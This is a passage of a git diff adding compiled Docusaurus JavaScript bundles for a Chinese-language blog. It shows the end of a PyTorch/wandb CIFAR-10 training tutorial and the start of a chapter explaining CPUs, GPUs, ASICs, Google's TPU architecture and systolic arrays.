Truth:{}\".format(classes[pred[0].item()], classes[target[0]])))\n\n # \u4f7f\u7528wandb.log \u8bb0\u5f55\u4f60\u60f3\u8bb0\u5f55\u7684\u6307\u6807\n wandb.log({\n \"Examples\": example_images,\n \"Test Accuracy\": 100. * correct / len(test_loader.dataset),\n \"Test Loss\": test_loss\n })\n\nwandb.watch_called = False \n\n\ndef main():\n use_cuda = config.use_cuda and torch.cuda.is_available()\n device = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\n kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\n\n # \u8bbe\u7f6e\u968f\u673a\u6570\n set_seed(config.seed)\n torch.backends.cudnn.deterministic = True\n\n # \u6570\u636e\u9884\u5904\u7406\n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n\n # \u52a0\u8f7d\u6570\u636e\n train_loader = DataLoader(datasets.CIFAR10(\n root='dataset',\n train=True,\n download=True,\n transform=transform\n ), batch_size=config.batch_size, shuffle=True, **kwargs)\n\n test_loader = DataLoader(datasets.CIFAR10(\n root='dataset',\n train=False,\n download=True,\n transform=transform\n ), batch_size=config.batch_size, shuffle=False, **kwargs)\n\n classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\n model = resnet18(pretrained=True).to(device)\n optimizer = optim.SGD(model.parameters(), lr=config.lr, momentum=config.momentum)\n\n wandb.watch(model, log=\"all\")\n for epoch in range(1, config.epochs + 1):\n train(model, device, train_loader, optimizer)\n test(model, device, test_loader, classes)\n\n # \u672c\u5730\u548c\u4e91\u7aef\u6a21\u578b\u4fdd\u5b58\n torch.save(model.state_dict(), 'model.pth')\n wandb.save('model.pth')\n\n\nif __name__ == '__main__':\n main()\n\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5f53\u6211\u4eec\u8fd0\u884c\u5b8c\u4e0a\u9762\u7684\u4ee3\u7801\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5728wandb\u7684\u754c\u9762\u4e0a\u770b\u5230\u6211\u4eec\u7684\u8bad\u7ec3\u7ed3\u679c\u4e86\u548c\u7cfb\u7edf\u7684\u6027\u80fd\u6307\u6807\u3002\u540c\u65f6\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u5728setting\u91cc\u9762\u8bbe\u7f6e\u8bad\u7ec3\u5b8c\u7ed9\u6211\u4eec\u53d1\u9001\u90ae\u4ef6\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u8bad\u7ec3\u5b8c\u4e4b\u540e\u53ca\u65f6\u7684\u67e5\u770b\u8bad\u7ec3\u7ed3\u679c\u4e86\u3002\n",(0,s.jsx)(e.img,{src:t(41941).A+"",width:"1305",height:"559"}),"\n",(0,s.jsx)(e.img,{src:t(97385).A+"",width:"1922",height:"1097"}),"\n",(0,s.jsx)(e.img,{src:t(80910).A+"",width:"958",height:"711"})]}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f7f\u7528wandb\u53ef\u4ee5\u5f88\u65b9\u4fbf\u7684\u8bb0\u5f55\u6211\u4eec\u7684\u8bad\u7ec3\u7ed3\u679c\uff0c\u9664\u6b64\u4e4b\u5916\uff0cwandb\u8fd8\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u5f88\u591a\u7684\u529f\u80fd\uff0c\u6bd4\u5982\uff1a\u6a21\u578b\u7684\u8d85\u53c2\u6570\u641c\u7d22\uff0c\u6a21\u578b\u7684\u7248\u672c\u63a7\u5236\uff0c\u6a21\u578b\u7684\u90e8\u7f72\u7b49\u7b49\u3002\u8fd9\u4e9b\u529f\u80fd\u90fd\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u66f4\u597d\u7684\u7ba1\u7406\u6211\u4eec\u7684\u6a21\u578b\uff0c\u66f4\u597d\u7684\u8fdb\u884c\u6a21\u578b\u7684\u8fed\u4ee3\u548c\u4f18\u5316\u3002\u8fd9\u4e9b\u529f\u80fd\u6211\u4eec\u5728\u540e\u9762\u7684\u66f4\u65b0\u4e2d\u4f1a\u8fdb\u884c\u4ecb\u7ecd\u3002"})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(l,{...n})}):l(n)}},97385:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/wandb_sys-f5a137c31b65bf0c6c2883a244382f5e.png"}}]); \ No newline at end of file diff --git a/assets/js/19f81a48.a1d74787.js b/assets/js/19f81a48.a1d74787.js new file mode 100644 index 0000000..8a214b6 --- /dev/null +++ b/assets/js/19f81a48.a1d74787.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3517],{281:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/shidiannao2-d183677196b2de0894c88a6b8e21e997.jpg"},840:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png"},2036:(n,e,i)=>{i.r(e),i.d(e,{assets:()=>l,contentTitle:()=>c,default:()=>o,frontMatter:()=>t,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"},"next":{"title":"\u7b2c\u4e09\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/"}}');var r=i(74848),a=i(28453);const t={},c="2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md",l={},d=[{value:"2.4.1 TPU",id:"241-tpu",level:2},{value:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1",id:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1",level:3},{value:"\u6280\u672f\u7279\u70b9",id:"\u6280\u672f\u7279\u70b9",level:3},{value:"AI\u52a0\u901f\u4e13\u7528",id:"ai\u52a0\u901f\u4e13\u7528",level:4},{value:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1",id:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1",level:4},{value:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58",id:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58",level:4},{value:"2.4.2 NPU",id:"242-npu",level:2},{value:"DianNao",id:"diannao",level:3},{value:"DaDianNao",id:"dadiannao",level:3},{value:"ShiDianNao",id:"shidiannao",level:3},{value:"PuDianNao",id:"pudiannao",level:3},{value:"\u53c2\u8003\u8d44\u6599\uff1a",id:"\u53c2\u8003\u8d44\u6599",level:2}];function h(n){const e={a:"a",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"24-ai\u786c\u4ef6\u52a0\u901f\u8bbe\u5907md",children:"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"ai\u786c\u4ef6\u52a0\u901f\u8bbe\u5907",children:"AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8fdb\u884c\u6a21\u578b\u90e8\u7f72\u548c\u8bad\u7ec3\u65f6\uff0c\u6211\u4eec\u6709\u65f6\u4f1a\u53d7\u9650\u4e8eCPU\u548cGPU\u7684\u6027\u80fd\u3002\u8fd9\u65f6\uff0c\u4e13\u7528\u7684AI\u82af\u7247\u5c31\u663e\u5f97\u5c24\u4e3a\u91cd\u8981\u3002\u5728\u6b63\u5f0f\u5f00\u59cb\u672c\u8282\u5185\u5bb9\u4e4b\u524d\uff0c\u6211\u4eec\u5148\u4e86\u89e3\u4e00\u4e0b\u4ec0\u4e48\u662fCPU\u548cGPU\u3002"}),"\n",(0,r.jsx)(e.p,{children:"CPU\u5373Central Processing Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u4e2d\u592e\u5904\u7406\u5668\uff0c\u662f\u6211\u4eec\u7535\u8111\u4e2d\u7684\u6838\u5fc3\u914d\u4ef6\u3002\u5b83\u7684\u529f\u80fd\u4e3b\u8981\u662f\u5904\u7406\u6307\u4ee4\u3001\u6267\u884c\u64cd\u4f5c\u3001\u63a7\u5236\u65f6\u95f4\u3001\u5904\u7406\u6570\u636e\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u73b0\u4ee3\u8ba1\u7b97\u673a\u4f53\u7cfb\u7ed3\u6784\u4e2d\uff0cCPU \u5bf9\u8ba1\u7b97\u673a\u7684\u6240\u6709\u786c\u4ef6\u8d44\u6e90\uff08\u5982\u5b58\u50a8\u5668\u3001\u8f93\u5165\u8f93\u51fa\u5355\u5143\uff09 \u8fdb\u884c\u63a7\u5236\u8c03\u914d\u3001\u6267\u884c\u901a\u7528\u8fd0\u7b97\u7684\u6838\u5fc3\u786c\u4ef6\u5355\u5143\u3002CPU \u662f\u8ba1\u7b97\u673a\u7684\u8fd0\u7b97\u548c\u63a7\u5236\u6838\u5fc3\u3002\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e2d\u6240\u6709\u8f6f\u4ef6\u5c42\u7684\u64cd\u4f5c\uff0c\u6700\u7ec8\u90fd\u5c06\u901a\u8fc7\u6307\u4ee4\u96c6\u6620\u5c04\u4e3aCPU\u7684\u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"GPU\u5373Graphics Processing Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u56fe\u5f62\u5904\u7406\u5355\u5143\u3002\u5728\u4f20\u7edf\u7684\u51af\xb7\u8bfa\u4f9d\u66fc\u7ed3\u6784\u4e2d\uff0cCPU \u6bcf\u6267\u884c\u4e00\u6761\u6307\u4ee4\u90fd\u9700\u8981\u4ece\u5b58\u50a8\u5668\u4e2d\u8bfb\u53d6\u6570\u636e\uff0c\u6839\u636e\u6307\u4ee4\u5bf9\u6570\u636e\u8fdb\u884c\u76f8\u5e94\u7684\u64cd\u4f5c\u3002\u4ece\u8fd9\u4e2a\u7279\u70b9\u53ef\u4ee5\u770b\u51fa\uff0cCPU \u7684\u4e3b\u8981\u804c\u8d23\u5e76\u4e0d\u53ea\u662f\u6570\u636e\u8fd0\u7b97\uff0c\u8fd8\u9700\u8981\u6267\u884c\u5b58\u50a8\u8bfb\u53d6\u3001\u6307\u4ee4\u5206\u6790\u3001\u5206\u652f\u8df3\u8f6c\u7b49\u547d\u4ee4\u3002\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u901a\u5e38\u9700\u8981\u8fdb\u884c\u6d77\u91cf\u7684\u6570\u636e\u5904\u7406\uff0c\u7528 CPU \u6267\u884c\u7b97\u6cd5\u65f6\uff0cCPU \u5c06\u82b1\u8d39\u5927\u91cf\u7684\u65f6\u95f4\u5728\u6570\u636e/\u6307\u4ee4\u7684\u8bfb\u53d6\u5206\u6790\u4e0a\uff0c\u800c CPU\u7684\u9891\u7387\u3001\u5185\u5b58\u7684\u5e26\u5bbd\u7b49\u6761\u4ef6\u53c8\u4e0d\u53ef\u80fd\u65e0\u9650\u5236\u63d0\u9ad8\uff0c\u56e0\u6b64\u9650\u5236\u4e86\u5904\u7406\u5668\u7684\u6027\u80fd\u3002\u800c GPU \u7684\u63a7\u5236\u76f8\u5bf9\u7b80\u5355\uff0c\u5927\u90e8\u5206\u7684\u6676\u4f53\u7ba1\u53ef\u4ee5\u7ec4\u6210\u5404\u7c7b\u4e13\u7528\u7535\u8def\u3001\u591a\u6761\u6d41\u6c34\u7ebf\uff0c\u4f7f\u5f97 GPU \u7684\u8ba1\u7b97\u901f\u5ea6\u8fdc\u9ad8\u4e8eCPU\uff1b\u540c\u65f6 GPU \u62e5\u6709\u4e86\u66f4\u52a0\u5f3a\u5927\u7684\u6d6e\u70b9\u8fd0\u7b97\u80fd\u529b\uff0c\u53ef\u4ee5\u7f13\u89e3\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u7684\u8bad\u7ec3\u96be\u9898\uff0c\u91ca\u653e\u4eba\u5de5\u667a\u80fd\u7684\u6f5c\u80fd\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cGPU\u6ca1\u6709\u72ec\u7acb\u5de5\u4f5c\u7684\u80fd\u529b\uff0c\u5fc5\u987b\u7531CPU\u8fdb\u884c\u63a7\u5236\u8c03\u7528\u624d\u80fd\u5de5\u4f5c\uff0c\u4e14GPU\u7684\u529f\u8017\u4e00\u822c\u6bd4\u8f83\u9ad8\u3002\u56e0\u6b64\uff0c\u968f\u7740\u4eba\u5de5\u667a\u80fd\u7684\u4e0d\u65ad\u53d1\u5c55\uff0c\u9ad8\u529f\u8017\u4f4e\u6548\u7387\u7684GPU\u4e0d\u518d\u80fd\u6ee1\u8db3AI\u8bad\u7ec3\u7684\u8981\u6c42\uff0c\u4e3a\u6b64\uff0c\u4e00\u5927\u6279\u529f\u80fd\u76f8\u5bf9\u5355\u4e00\uff0c\u4f46\u901f\u5ea6\u66f4\u5feb\u7684\u4e13\u7528\u96c6\u6210\u7535\u8def\u76f8\u7ee7\u95ee\u4e16\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u4e86\u89e3\u4e00\u4e0b\u4ec0\u4e48\u662f\u4e13\u7528\u96c6\u6210\u7535\u8def\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"\u4e13\u7528\u96c6\u6210\u7535\u8def\uff08Application-Specific Integrated Circuit\uff0cASIC\uff09\u662f\u4e13\u7528\u5b9a\u5236\u82af\u7247\uff0c\u5373\u4e3a\u5b9e\u73b0\u7279\u5b9a\u8981\u6c42\u800c\u5b9a\u5236\u7684\u82af\u7247\u3002\u5b9a\u5236\u7684\u7279\u6027\u6709\u52a9\u4e8e\u63d0\u9ad8 ASIC \u7684\u6027\u80fd\u529f\u8017\u6bd4\u3002ASIC\u7684\u7f3a\u70b9\u662f\u7535\u8def\u8bbe\u8ba1\u9700\u8981\u5b9a\u5236\uff0c\u76f8\u5bf9\u5f00\u53d1\u5468\u671f\u957f\uff0c\u529f\u80fd\u96be\u4ee5\u6269\u5c55\u3002\u4f46\u5728\u529f\u8017\u3001\u53ef\u9760\u6027\u3001\u96c6\u6210\u5ea6\u7b49\u65b9\u9762\u90fd\u6709\u4f18\u52bf\uff0c\u5c24\u5176\u5728\u8981\u6c42\u9ad8\u6027\u80fd\u3001\u4f4e\u529f\u8017\u7684\u79fb\u52a8\u5e94\u7528\u7aef\u4f53\u73b0\u660e\u663e\u3002\u4e0b\u6587\u63d0\u5230\u7684\u8c37\u6b4c\u7684TPU\uff0c\u5bd2\u6b66\u7eaa\u7684NPU\u90fd\u5c5e\u4e8eASIC\u7684\u8303\u7574\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u8ba9\u6211\u4eec\u8fdb\u5165\u672c\u8282\u7684\u5185\u5bb9\uff0c\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4ec0\u4e48\u662fTPU"}),"\n",(0,r.jsx)(e.li,{children:"\u4ec0\u4e48\u662fNPU"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"241-tpu",children:"2.4.1 TPU"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u5373Tensor Processing Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u5f20\u91cf\u5904\u7406\u5668\u30022006\u5e74\uff0c\u8c37\u6b4c\u5f00\u59cb\u8ba1\u5212\u4e3a\u795e\u7ecf\u7f51\u7edc\u6784\u5efa\u4e00\u4e2a\u4e13\u7528\u7684\u96c6\u6210\u7535\u8def\uff08ASIC\uff09\u3002\u968f\u7740\u8ba1\u7b97\u9700\u6c42\u548c\u6570\u636e\u91cf\u7684\u4e0d\u65ad\u4e0a\u6da8\uff0c\u8fd9\u4e2a\u9700\u6c42\u57282013\u5e74\u5f00\u59cb\u53d8\u5f97\u5c24\u4e3a\u7d27\u8feb\u3002\u4e8e\u662f\uff0c\u8c37\u6b4c\u57282015\u5e746\u6708\u7684IO\u5f00\u53d1\u8005\u5927\u4f1a\u4e0a\u63a8\u51fa\u4e86\u4e3a\u4f18\u5316\u81ea\u8eab\u7684TensorFlow\u6846\u67b6\u800c\u8bbe\u8ba1\u6253\u9020\u7684\u4e00\u6b3e\u8ba1\u7b97\u795e\u7ecf\u7f51\u7edc\u4e13\u7528\u82af\u7247\u3002\u5b83\u4e3b\u8981\u7528\u4e8e\u8fdb\u884c\u641c\u7d22\uff0c\u56fe\u50cf\uff0c\u8bed\u97f3\u7b49\u6a21\u578b\u548c\u6280\u672f\u7684\u5904\u7406\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u622a\u81f3\u76ee\u524d\uff0c\u8c37\u6b4c\u5df2\u7ecf\u53d1\u884c\u4e86\u56db\u4ee3TPU\u82af\u7247\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1",children:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u7684\u8bbe\u8ba1\u67b6\u6784\u5982\u4e0b\u56fe"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(34274).A+"",width:"848",height:"616"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aIn-datacenter performance analysis of a tensor processing unit\uff0cfigure 1"}),"\n",(0,r.jsx)(e.p,{children:"\u7531\u4e0a\u56fe\u53ef\u89c1\uff0c\u6574\u4e2aTPU\u4e2d\u6700\u91cd\u8981\u7684\u8ba1\u7b97\u5355\u5143\u662f\u53f3\u4e0a\u89d2\u9ec4\u8272\u7684\u77e9\u9635\u4e58\u5355\u5143\u201cMatrix Multiply Unit\u201d\uff0c\u5b83\u5305\u542b256x256\u4e2aMAC\u90e8\u4ef6\uff0c\u6bcf\u4e00\u4e2a\u80fd\u591f\u6267\u884c\u6709\u7b26\u53f7\u6216\u8005\u65e0\u7b26\u53f7\u76848\u4f4d\u4e58\u52a0\u64cd\u4f5c\u3002\u5b83\u7684\u8f93\u5165\u4e3a\u6743\u91cd\u6570\u636e\u961f\u5217FIFO\u548c\u7edf\u4e00\u7f13\u51b2Unified Buffer\uff0c\u5373\u56fe\u4e2d\u6307\u5411\u5b83\u7684\u4e24\u4e2a\u84dd\u8272\u90e8\u5206\u3002\u5728\u8ba1\u7b97\u7ed3\u675f\u540e\uff0c16\u4f4d\u7ed3\u679c\u88ab\u6536\u96c6\u5e76\u4f20\u9012\u5230\u4f4d\u4e8e\u77e9\u9635\u5355\u5143\u4e0b\u65b9\u76844MiB 32\u4f4d\u84dd\u8272\u7d2f\u52a0\u5668Accumulators\u4e2d\uff0c\u4e4b\u540e\u7531\u9ec4\u8272\u7684\u6fc0\u6d3b\u5355\u5143\u5728\u7d2f\u52a0\u540e\u6267\u884c\u975e\u7ebf\u6027\u51fd\u6570\uff0c\u5e76\u6700\u7ec8\u5c06\u6570\u636e\u8fd4\u56de\u7ed9\u7edf\u4e00\u7f13\u51b2\u3002"}),"\n",(0,r.jsx)(e.p,{children:"Matrix Multiply Unit\u77e9\u9635\u5904\u7406\u5668\u4f5c\u4e3aTPU\u7684\u6838\u5fc3\u90e8\u5206\uff0c\u5b83\u53ef\u4ee5\u5728\u5355\u4e2a\u65f6\u949f\u5468\u671f\u5185\u5904\u7406\u6570\u5341\u4e07\u6b21\u77e9\u9635\uff08Matrix\uff09\u8fd0\u7b97\u3002MMU\u6709\u7740\u4e0e\u4f20\u7edfCPU\u3001GPU\u622a\u7136\u4e0d\u540c\u7684\u67b6\u6784\uff0c\u79f0\u4e3a\u8109\u52a8\u9635\u5217\uff08systolic array\uff09\u3002\u4e4b\u6240\u4ee5\u53eb\u201c\u8109\u52a8\u201d\uff0c\u662f\u56e0\u4e3a\u5728\u8fd9\u79cd\u7ed3\u6784\u4e2d\uff0c\u6570\u636e\u4e00\u6ce2\u4e00\u6ce2\u5730\u6d41\u8fc7\u82af\u7247\uff0c\u4e0e\u5fc3\u810f\u8df3\u52a8\u4f9b\u8840\u7684\u65b9\u5f0f\u7c7b\u4f3c\u3002\u800c\u5982\u4e0b\u56fe\u6240\u793a\uff0cCPU\u548cGPU\u5728\u6bcf\u6b21\u8fd0\u7b97\u4e2d\u90fd\u9700\u8981\u4ece\u591a\u4e2a\u5bc4\u5b58\u5668\uff08register\uff09\u4e2d\u8fdb\u884c\u5b58\u53d6\uff0c\u800cTPU\u7684\u8109\u52a8\u9635\u5217\u5c06\u591a\u4e2a\u8fd0\u7b97\u903b\u8f91\u5355\u5143\uff08ALU\uff09\u4e32\u8054\u5728\u4e00\u8d77\uff0c\u590d\u7528\u4ece\u4e00\u4e2a\u5bc4\u5b58\u5668\u4e2d\u8bfb\u53d6\u7684\u7ed3\u679c\u3002\u6bcf\u4e2aALU\u5355\u5143\u7ed3\u6784\u7b80\u5355\uff0c\u4e00\u822c\u53ea\u5305\u542b\u4e58\u6cd5\u5668\u3001\u52a0\u6cd5\u5668\u4ee5\u53ca\u5bc4\u5b58\u5668\u4e09\u90e8\u5206\uff0c\u9002\u5408\u5927\u91cf\u5806\u780c\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(840).A+"",width:"500",height:"412"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f46\u662f\uff0c\u5728\u6781\u5927\u589e\u52a0\u6570\u636e\u590d\u7528\u3001\u964d\u4f4e\u5185\u5b58\u5e26\u5bbd\u538b\u529b\u7684\u540c\u65f6\uff0c\u8109\u52a8\u9635\u5217\u4e5f\u6709\u4e24\u4e2a\u7f3a\u70b9\uff0c\u5373\u6570\u636e\u91cd\u6392\u548c\u89c4\u6a21\u9002\u914d\u3002\u7b2c\u4e00\uff0c\u8109\u52a8\u77e9\u9635\u4e3b\u8981\u5b9e\u73b0\u5411\u91cf/\u77e9\u9635\u4e58\u6cd5\u3002\u4ee5CNN\u8ba1\u7b97\u4e3a\u4f8b\uff0cCNN\u6570\u636e\u8fdb\u5165\u8109\u52a8\u9635\u5217\u9700\u8981\u8c03\u6574\u597d\u5f62\u5f0f\uff0c\u5e76\u4e14\u4e25\u683c\u9075\u5faa\u65f6\u949f\u8282\u62cd\u548c\u7a7a\u95f4\u987a\u5e8f\u8f93\u5165\u3002\u6570\u636e\u91cd\u6392\u7684\u989d\u5916\u64cd\u4f5c\u589e\u52a0\u4e86\u590d\u6742\u6027\u3002\u7b2c\u4e8c\uff0c\u5728\u6570\u636e\u6d41\u7ecf\u6574\u4e2a\u9635\u5217\u540e\uff0c\u624d\u80fd\u8f93\u51fa\u7ed3\u679c\u3002\u5f53\u8ba1\u7b97\u7684\u5411\u91cf\u4e2d\u5143\u7d20\u8fc7\u5c11\uff0c\u8109\u52a8\u9635\u5217\u89c4\u6a21\u8fc7\u5927\u65f6\uff0c\u4e0d\u4ec5\u96be\u4ee5\u5c06\u9635\u5217\u4e2d\u7684\u6bcf\u4e2a\u5355\u5143\u90fd\u5229\u7528\u8d77\u6765\uff0c\u6570\u636e\u7684\u5bfc\u5165\u548c\u5bfc\u51fa\u5ef6\u65f6\u4e5f\u968f\u7740\u5c3a\u5bf8\u6269\u5927\u800c\u589e\u52a0\uff0c\u964d\u4f4e\u4e86\u8ba1\u7b97\u6548\u7387\u3002\u56e0\u6b64\u5728\u786e\u5b9a\u8109\u52a8\u9635\u5217\u7684\u89c4\u6a21\u65f6\uff0c\u5728\u8003\u8651\u9762\u79ef\u3001\u80fd\u8017\u3001\u5cf0\u503c\u8ba1\u7b97\u80fd\u529b\u7684\u540c\u65f6\uff0c\u8fd8\u8981\u8003\u8651\u5178\u578b\u5e94\u7528\u4e0b\u7684\u6548\u7387\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u6280\u672f\u7279\u70b9",children:"\u6280\u672f\u7279\u70b9"}),"\n",(0,r.jsx)(e.h4,{id:"ai\u52a0\u901f\u4e13\u7528",children:"AI\u52a0\u901f\u4e13\u7528"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u7684\u67b6\u6784\u5c5e\u4e8eDomain-specific Architecture\uff0c\u4e5f\u5c31\u662f\u7279\u5b9a\u9886\u57df\u67b6\u6784\u3002\u5b83\u7684\u5b9a\u4f4d\u51c6\u786e\uff0c\u67b6\u6784\u7b80\u5355\uff0c\u5355\u7ebf\u7a0b\u63a7\u5236\uff0c\u5b9a\u5236\u6307\u4ee4\u96c6\u4f7f\u5f97\u5b83\u5728\u6df1\u5ea6\u5b66\u4e60\u8fd0\u7b97\u65b9\u9762\u6548\u7387\u6781\u9ad8\uff0c\u4e14\u5bb9\u6613\u6269\u5c55\u3002\u76f8\u6bd4\u4e4b\u4e0b\uff0c\u4f20\u7edf\u8bf8\u5982CPU\u3001GPU\u7b49\u901a\u7528\u5904\u7406\u5668\u5fc5\u987b\u8003\u8651\u7075\u6d3b\u6027\u548c\u517c\u5bb9\u6027\uff0c\u6709\u592a\u91cd\u7684\u5305\u88b1\u3002\u4f46TPU\u8fd9\u79cd\u7279\u70b9\u4e5f\u51b3\u5b9a\u5b83\u53ea\u80fd\u88ab\u9650\u5236\u7528\u4e8e\u6df1\u5ea6\u5b66\u4e60\u52a0\u901f\u573a\u666f\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1",children:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u91c7\u7528\u4e86\u4e0e\u4f20\u7edfCPU\u548cGPU\u622a\u7136\u4e0d\u540c\u7684\u8109\u52a8\u9635\u5217\uff08systolic 